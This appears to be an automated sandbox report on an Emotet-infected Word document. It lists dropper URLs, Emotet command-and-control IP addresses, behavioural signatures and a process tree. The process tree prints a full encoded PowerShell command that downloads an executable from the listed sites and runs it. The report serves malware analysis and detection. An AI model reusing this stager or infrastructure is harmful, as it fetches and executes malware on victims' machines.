Analysis

  • max time kernel
    28s
  • resource
    win10v191014
  • submitted
    17-01-2020 00:49

General

  • Target

    c984833db58812ed08f1b0560576ec19bfec60b0a8103292c206042ef12007fc

  • Sample

    200117-vf11ag677a

  • SHA256

    c984833db58812ed08f1b0560576ec19bfec60b0a8103292c206042ef12007fc

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://amelano.net/wp-includes/css/dist/2ew/

exe.dropper

http://911concept.com/images/i6ngX5/

exe.dropper

http://ayonschools.com/UBkoqn/

exe.dropper

http://beech.org/wayne/lldo/

exe.dropper

http://firelabo.com/wp-includes/mf6f4/

Extracted

Family

emotet

C2

68.172.243.146:80

64.40.250.5:80

81.17.92.70:80

91.250.96.22:8080

37.187.72.193:8080

104.131.44.150:8080

167.71.10.37:8080

37.139.21.175:8080

73.11.153.178:8080

192.241.255.77:8080

91.205.215.66:443

201.229.45.222:8080

46.105.131.87:80

188.0.135.237:80

78.142.114.69:80

64.53.242.181:8080

93.147.141.5:443

101.187.134.207:8080

72.189.57.105:80

190.117.126.169:80

rsa_pubkey.plain

Signatures

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Process spawned unexpected child process 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Suspicious behavior: EmotetMutantsSpam 2 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\c984833db58812ed08f1b0560576ec19bfec60b0a8103292c206042ef12007fc.doc" /o ""
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Checks processor information in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Enumerates system info in registry
    PID:5004
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -w hidden -en JABXAGgAaAB2AGQAeAByAGIAcQB3AGwAawBmAD0AJwBBAG8AawBqAHMAdgBuAGcAcgBsAGsAZABrACcAOwAkAEQAYQBiAHcAZwByAGwAcwBjAGIAbgB1AGQAIAA9ACAAJwAyADYANwAnADsAJABXAGkAcwBhAGwAeABuAGcAeQBtAHkAawA9ACcASABmAHIAZABhAHoAagB1AG0AYwBqAGIAcAAnADsAJABQAHEAegBvAHEAeABzAGYAaQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQARABhAGIAdwBnAHIAbABzAGMAYgBuAHUAZAArACcALgBlAHgAZQAnADsAJABUAGgAdQBwAGEAbwBiAG4AegBuAGMAYgA9ACcARwB3AGMAZwB3AGUAZQBtAGcAZgAnADsAJABSAHQAZwBsAHAAagBiAHUAbAA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAATgBFAFQALgBXAEUAYgBjAGwASQBFAE4AdAA7ACQAWQB6AHUAZABqAGYAbQBrAHkAPQAnAGgAdAB0AHAAOgAvAC8AYQBtAGUAbABhAG4AbwAuAG4AZQB0AC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AYwBzAHMALwBkAGkAcwB0AC8AMgBlAHcALwAqAGgAdAB0AHAAOgAvAC8AOQAxADEAYwBvAG4AYwBlAHAAdAAuAGMAbwBtAC8AaQBtAGEAZwBlAHMALwBpADYAbgBnAFgANQAvACoAaAB0AHQAcAA6AC8ALwBhAHkAbwBuAHMAYwBoAG8AbwBsAHMALgBjAG8AbQAvAFUAQgBrAG8AcQBuAC8AKgBoAHQAdABwADoALwAvAGIAZQBlAGMAaAAuAG8AcgBnAC8AdwBhAHkAbgBlAC8AbABsAGQAbwAvACoAaAB0AHQAcAA6AC8ALwBmAGkAcgBlAGwAYQBiAG8ALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAG0AZgA2AGYANAAvACcALgAiAFMAYABQAEwAaQB0ACIAKAAnACoAJwApADsAJABDAHcAcAByAGoAaABjAG8AZQBmAD0AJwBaAGcAZgBzAHIAcQB5AHkAZgBqAGcAZgAnADsAZgBvAHIAZQBhAGMAaAAoACQAUgBmAHgAdgBmAHcAdwBvAGMAeQBjAHcAdwAgAGkAbgAgACQAWQB6AHUAZABqAGYAbQBrAHkAKQB7AHQAcgB5AHsAJABSAHQAZwBsAHAAagBiAHUAbAAuACIAZABPAHcAYABOAEwAYABPAGEAZABGAGAAaQBMAEUAIgAoACQAUgBmAHgAdgBmAHcAdwBvAGMAeQBjAHcAdwAsACAAJABQAHEAegBvAHEAeABzAGYAaQApADsAJABUAGcAbgBoAGEAbwBuAHAAbQBlAHgAaQA9ACcAWQBwAGYAYQBzAGcAaABwAHkAbAB1AHEAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABQAHEAegBvAHEAeABzAGYAaQApAC4AIgBMAGUAYABOAEcAdABIACIAIAAtAGcAZQAgADIANQA4ADUAOQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABBAFIAVAAiACgAJABQAHEAegBvAHEAeABzAGYAaQApADsAJABTAHEAawBrAG4AbwB3AGEAdwA9ACcASQBqAHUAYgB2AGoAbQBkAHoAcQBkACcAOwBiAHIAZQBhAGsAOwAkAEEAbwBlAGgAYgBuAGsAaABqAGoAdAA9ACcAWABxAGcAYgBvAGoAdgBjAHkAeAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABRAGsAZABlAGQAcABwAGsAeABrAHoAawBvAD0AJwBVAGkAeQBhAGEAbQBpAG0AdwB4ACcA
    1⤵
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4612
    • C:\Users\Admin\267.exe
      "C:\Users\Admin\267.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4440
      • C:\Users\Admin\267.exe
        --253d0d11
        3⤵
        • Drops file in System32 directory
        • Suspicious use of SetWindowsHookEx
        • Executes dropped EXE
        • Suspicious behavior: EmotetMutantsSpam
        PID:3824
  • C:\Windows\SysWOW64\wsatlua.exe
    "C:\Windows\SysWOW64\wsatlua.exe"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:4396
    • C:\Windows\SysWOW64\wsatlua.exe
      --907a307f
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Executes dropped EXE
      • Suspicious behavior: EmotetMutantsSpam
      PID:4360

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\ProgramData\Microsoft\Crypto\RSA\S-1-5-18\403f0cc78adafaecdb503a6c6424923d_293fa5bd-edfb-4bba-800e-a7dce3ea3438

  • C:\Users\Admin\267.exe

  • C:\Users\Admin\267.exe

  • C:\Users\Admin\267.exe

  • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-634046074-2673730973-2644684987-1000\0f5007522459c86e95ffcc62f32308f1_293fa5bd-edfb-4bba-800e-a7dce3ea3438

  • C:\Windows\SysWOW64\wsatlua.exe

  • C:\Windows\SysWOW64\wsatlua.exe

  • memory/3824-11-0x0000000000400000-0x00000000004A7000-memory.dmp

    Filesize

    668KB

  • memory/3824-10-0x0000000002180000-0x0000000002197000-memory.dmp

    Filesize

    92KB

  • memory/4360-16-0x0000000000CC0000-0x0000000000CD7000-memory.dmp

    Filesize

    92KB

  • memory/4360-17-0x0000000000400000-0x00000000004A7000-memory.dmp

    Filesize

    668KB

  • memory/4396-13-0x0000000000E40000-0x0000000000E57000-memory.dmp

    Filesize

    92KB

  • memory/4440-7-0x0000000000550000-0x0000000000567000-memory.dmp

    Filesize

    92KB